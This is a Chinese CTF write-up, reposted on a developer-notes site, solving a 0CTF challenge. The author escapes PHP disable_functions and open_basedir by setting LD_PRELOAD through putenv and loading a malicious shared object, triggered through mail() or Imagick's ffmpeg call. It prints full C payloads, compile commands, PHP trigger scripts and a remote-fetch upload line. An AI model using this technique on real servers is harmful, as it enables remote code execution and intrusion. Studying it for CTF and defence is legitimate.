热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

phpmailldpreload,深入浅出LD_PRELOADputenv()

前记上周利用空余时间,做了一下0ctf,感觉这道bypassdisablefunction的题目比较有趣,于是分析一下,有了

175403

前记

上周利用空余时间,做了一下0ctf,感觉这道bypass disable function的题目比较有趣,于是分析一下,有了此文

题目分析

拿到题目

Imagick is a awesome library for hackers to break `disable_functions`.

So I installed php-imagick in the server, opened a `backdoor` for you.

Let's try to execute `/readflag` to get the flag.

Open basedir: /var/www/html:/tmp/d4dabdbc73b87e364e29e60c60a92900

Hint: eval($_POST["backdoor"]);

题目给了3个信息:

execute /readflag to get the flag

Open basedir: /var/www/html:/tmp/d4dabdbc73b87e364e29e60c60a92900

Hint: eval($_POST[“backdoor”]);

我们知道题目是有后门的,但是有disable_functions限制,所以我们首先查看一下phpinfo内容

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

过滤非常多,但思路非常清晰:

1.bypass open basedir

2.bypass disable functions

3.execute readflag

open basedir

我们做个简单的测试

php > ini_set('open_basedir','/var/www/html');

php > var_dump(scandir('/var/www/html'));

array(5) {

[0]=>

string(1) "."

[1]=>

string(2) ".."

[2]=>

string(7) "hack.so"

[3]=>

string(10) "index.html"

[4]=>

string(23) "index.nginx-debian.html"

}

php > var_dump(scandir('/tmp'));

bool(false)

即open basedir是用来限制访问目录的,我们看一下题目源代码

backdoor=readfile('index.php');

可以得到

$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");

mkdir($dir);

ini_set('open_basedir', '/var/www/html:' . $dir);

?>

Imagick is a awesome library for hackers to break `disable_functions`.

So I installed php-imagick in the server, opened a `backdoor` for you.

Let's try to execute `/readflag` to get the flag.

Open basedir:

Hint: eval($_POST["backdoor"]);

题目也是使用了这样的限制,我们只能访问

/tmp/md5("$_SERVER[REMOTE_ADDR]);

/var/www/html

那么如何bypass open basedir与disable functions呢这里不难搜到这样一篇文章

https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

文中提及,我们可以用LD_PRELOAD+putenv打一套组合拳,既能绕过open basedir,又能绕过disable functions

LD_PRELOAD与putenv

这里我们先来看一下原理,首先什么是LD_PRELOAD?

google给出如下定义

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

即LD_PRELOAD这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用

而putenv可以设置环境变量

putenv ( string $setting ) : bool

添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。

同时该函数也未被过滤。那么我们可以有如下骚操作:

1.制作一个恶意shared libraries

2.使用putenv设置LD_PRELOAD为恶意文件路径

3.使用某个php函数,触发specific shared library

4.成功进行RCE

175403

而既然要在php运行时被触发,那么势必选择一个非常常用的函数才行

那么怎么找到这个函数呢?

传统方式(hijacking function)

在已有的文章中显示,一般使用phpmail()函数进行触发,我们简单分析一下

这里简单写个demo

mail('','','','');

?>

我们strace一下,可以看到运行这个脚本的时候,程序会启子进程来调用sendmail

execve("/usr/bin/php", ["php", "test.php"], [/* 20 vars */]) = 0

[pid 23864] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 20 vars */]) = 0

[pid 23865] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 20 vars */]) = 0

那么我们只要看一下sendmail使用了哪些函数

175403

有很多函数可以使用,这里可以选择geteuid(),然后我们编写自己的evil shared libraries:hack.c

#include

#include

#include

void payload() {

system("ls / > /tmp/sky");

}

int geteuid()

{

if (getenv("LD_PRELOAD") == NULL) { return 0; }

unsetenv("LD_PRELOAD");

payload();

}

然后编译一下

gcc -c -fPIC hack.c -o hack

gcc --share hack -o hack.so

然后我们运行脚本

putenv("LD_PRELOAD=./hack.so");

mail('','','','');

?>

175403

不难发现它执行了命令,然后可以发现/tmp目录下多了一个文件sky

root@sky:~# ls /tmp | grep sky

sky

我们查看一下

root@sky:~# cat /tmp/sky

bin

boot

dev

etc

home

lib

lib32

....

发现成功执行命令

改进版(hijack shared library)

但其实这个方法是将条件变得严苛了,我们干的事情局限于找到一个函数,然后对其进行注入

但实际上我们可以更加直接,我们先将sendmail进行删除

175403

如图所示现在已经没有了sendmail,但我们依旧可以进行rce,可使用如下文件sky.c

#define _GNU_SOURCE

#include

#include

#include

__attribute__ ((__constructor__)) void angel (void){

unsetenv("LD_PRELOAD");

system("ls");

}

其中__attribute__ ((__constructor__))有如下说明

1.It's run when a shared library is loaded, typically during program startup.

2.That's how all GCC attributes are; presumably to distinguish them from function calls.

3.The destructor is run when the shared library is unloaded, typically at program exit.

所以当我们最开始将evil shared library load上后,就会触发__attribute__ ((__constructor__)),从而达成我们rce的目的.

函数寻找

但本题中mail函数已被disable_functions限制,所以我们并不能按照上述模式进行攻击。那么我们要找到一个什么样的函数才能满足我们的条件呢?

从上述内容不难发现,我们必须找到一个能在运行时候启动子进程的函数才行,因为我们设置了环境变量,必须restart才能生效,所以如果能启动一个子进程,那么我们的设置的LD_PRELOAD就会加载我们的evil shared library.

这里我们发现题目提示

So I installed php-imagick in the server, opened a `backdoor` for you.

所以我们主要探究php-imagick到底能不能干类似的事情

我们阅读php-imagick源码

https://github.com/ImageMagick/ImageMagick

我们发现如下对应关系

175403

我们发现当文件是MPEG format时,程序会调用’ffmpeg’ program进行转换,而如下后缀都被认为成MPEG format

175403

我们测试一下.wmv

写出脚本

$img = new Imagick('sky.wmv');

?>

我们测试一下

execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) = 0

[pid 25217] execve("/bin/sh", ["sh", "-c", ""ffmpeg" -v -1 -i "/tmp/magick-2"...], [/* 21 vars */]) = 0

可以发现的确成功启动了子进程,调用了ffmpeg

但是如果sky.wmv文件不存在时

execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) = 0

则不会调用ffmpeg

所以也不难分析出,应该是有一步判断文件是否存在的操作,再会去进行调用相关程序进行解码转换的操作

所以如果想利用Imagick新起子进程,那么我们得先有后面的参数文件,当然这并不是什么难事。

payload & attack

那么只剩最后的攻击了,找到了可以起子进程的方式,只差构造evil shared library了

我们还是用之前的sky.c

#define _GNU_SOURCE

#include

#include

#include

__attribute__ ((__constructor__)) void angel (void){

unsetenv("LD_PRELOAD");

system("ls");

}

然后编译一下

gcc -c -fPIC sky.c -o sky

gcc --share sky -o sky.so

测试一下

putenv("LD_PRELOAD=./sky.so");

$img = new Imagick('sky.wmv');

?>

运行发现

root@sky:~# php sky.php

bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 lost+found media mnt opt proc root run sbin srv sys test tmp usr var vmlinuz vmlinuz.old

PHP Fatal error: Uncaught ImagickException: unable to open image `/tmp/magick-25528VpF8npGTawCz.pam': No such file or directory @ error/blob.c/OpenBlob/2712 in /root/sky.php:3

Stack trace:

#0 /root/sky.php(3): Imagick->__construct('sky.wmv')

#1 {main}

thrown in /root/sky.php on line 3

我们成功的进行了列目录

getflag

那么现在思路很清晰:

1.把我们的sky.so和sky.wmv上传到题目的/tmp/sandbox中

2.利用backdoor运行sky.php

3.在tmp目录读取重定向的结果

首先我们按照题目意思,调用/readflag

文件内容为

#define _GNU_SOURCE

#include

#include

#include

__attribute__ ((__constructor__)) void angel (void){

unsetenv("LD_PRELOAD");

system("/readflag > /tmp/d4dabdbc73b87e364e29e60c60a92900/flag");

}

然后是上传文件,我们有很多种方法,这里可以使用

$upload = '/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.so';

echo copy("http://vps_ip/sky.wmv", $upload);

175403

我们可以看到上传成功了

然后我们执行

putenv("LD_PRELOAD=/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.so");

$img = new Imagick('/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.wmv');

175403

可以看到flag已经打到了/tmp目录下

我们进行读取即可

175403

后记

这个题目还是比较有趣的,学习到了不少姿势~

参考链接



推荐阅读
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 本文介绍了lua语言中闭包的特性及其在模式匹配、日期处理、编译和模块化等方面的应用。lua中的闭包是严格遵循词法定界的第一类值,函数可以作为变量自由传递,也可以作为参数传递给其他函数。这些特性使得lua语言具有极大的灵活性,为程序开发带来了便利。 ... [详细]
  • HDU 2372 El Dorado(DP)的最长上升子序列长度求解方法
    本文介绍了解决HDU 2372 El Dorado问题的一种动态规划方法,通过循环k的方式求解最长上升子序列的长度。具体实现过程包括初始化dp数组、读取数列、计算最长上升子序列长度等步骤。 ... [详细]
  • 本文主要解析了Open judge C16H问题中涉及到的Magical Balls的快速幂和逆元算法,并给出了问题的解析和解决方法。详细介绍了问题的背景和规则,并给出了相应的算法解析和实现步骤。通过本文的解析,读者可以更好地理解和解决Open judge C16H问题中的Magical Balls部分。 ... [详细]
  • Ubuntu 9.04中安装谷歌Chromium浏览器及使用体验[图文]
    nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • 本文分析了Wince程序内存和存储内存的分布及作用。Wince内存包括系统内存、对象存储和程序内存,其中系统内存占用了一部分SDRAM,而剩下的30M为程序内存和存储内存。对象存储是嵌入式wince操作系统中的一个新概念,常用于消费电子设备中。此外,文章还介绍了主电源和后备电池在操作系统中的作用。 ... [详细]
  • 本文介绍了在Ubuntu 11.10 x64环境下安装Android开发环境的步骤,并提供了解决常见问题的方法。其中包括安装Eclipse的ADT插件、解决缺少GEF插件的问题以及解决无法找到'userdata.img'文件的问题。此外,还提供了相关插件和系统镜像的下载链接。 ... [详细]
  • 原文地址http://balau82.wordpress.com/2010/02/28/hello-world-for-bare-metal-arm-using-qemu/最开始时 ... [详细]
  • ihaveusedthedelphidatabindingwizardwithmyxmlfile,andeverythingcompilesandrunsfine. ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • Mac OS 升级到11.2.2 Eclipse打不开了,报错Failed to create the Java Virtual Machine
    本文介绍了在Mac OS升级到11.2.2版本后,使用Eclipse打开时出现报错Failed to create the Java Virtual Machine的问题,并提供了解决方法。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • x86 linux的进程调度,x86体系结构下Linux2.6.26的进程调度和切换
    进程调度相关数据结构task_structtask_struct是进程在内核中对应的数据结构,它标识了进程的状态等各项信息。其中有一项thread_struct结构的 ... [详细]
  • C#设计模式之八装饰模式(Decorator Pattern)【结构型】
    一、引言今天我们要讲【结构型】设计模式的第三个模式,该模式是【装饰模式】,英文名称:DecoratorPattern。我第一次看到这个名称想到的是另外一个词语“装修”,我就说说我对“装修”的理 ... [详细]
author-avatar
小dej_531
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有